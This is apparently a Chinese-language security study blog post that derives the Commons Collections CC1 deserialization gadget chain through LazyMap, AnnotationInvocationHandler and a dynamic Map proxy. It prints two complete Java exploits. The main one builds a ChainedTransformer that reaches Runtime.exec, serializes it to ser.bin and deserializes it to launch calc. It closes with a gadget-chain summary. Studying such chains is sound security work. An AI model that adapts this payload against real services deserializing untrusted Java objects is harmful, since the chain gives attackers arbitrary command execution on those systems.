开始分析 这里我直接拿cc1的demo改了,首先进入InvokerTransformer
下的transform
方法然后find usages 可以看到LazyMap下也调用了transform
方法,直接进去看代码
1 2 3 4 5 6 7 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; }
public型get
方法调用了transform
方法,然后去看factory 然后这里同时还有decorate方法和TransformMap
中的 decorate
方法是一样的作用,然后去看这个类的构造函数为protected
所以得通过decorate方法获得LazyMap类的对象去调用 先写个exp弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class test { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map Mapdecorate = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method classDeclaredMethod = lazyMapClass.getDeclaredMethod("get" , Object.class); classDeclaredMethod.setAccessible(true ); classDeclaredMethod.invoke(Mapdecorate,runtime); } }
证明这条链到目前是可行的,然后找谁调用了LazyMap中的get方法,最终目标是找到readObject 这里在AnnotationInvocationHandler类下的invoke方法中调用了get方法,这里find usages get方法的话结果很多,所以我直接在CC1的另一条链中进入这个方法 同时这个类中也存在readObject方法,相当于找到入口,而且通过构造方法发现这个memberValue也是可控的,所以现在是解决怎么进入这个类的invoke方法,这里就可以结合动态代理,一个类被动态代理之后想要通过代理调用这个类必须通过invoke方法,继续寻找 可以看到在readObject方法中memberValues调用了entrySet方法,所以这里让memberValues成为代理对象那么调用entrySet方法时就会进入invoke方法
编写EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class Dome { public static void main (String[] args) throws Exception { Transformer[] transformers= new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(new Class []{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用链 1 2 3 4 5 6 7 8 9 10 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 辅助链 ChainedTransformer ConstantTransformer HashMap Map(Proxy)#entrySet
这个流程图懒得画了,开摆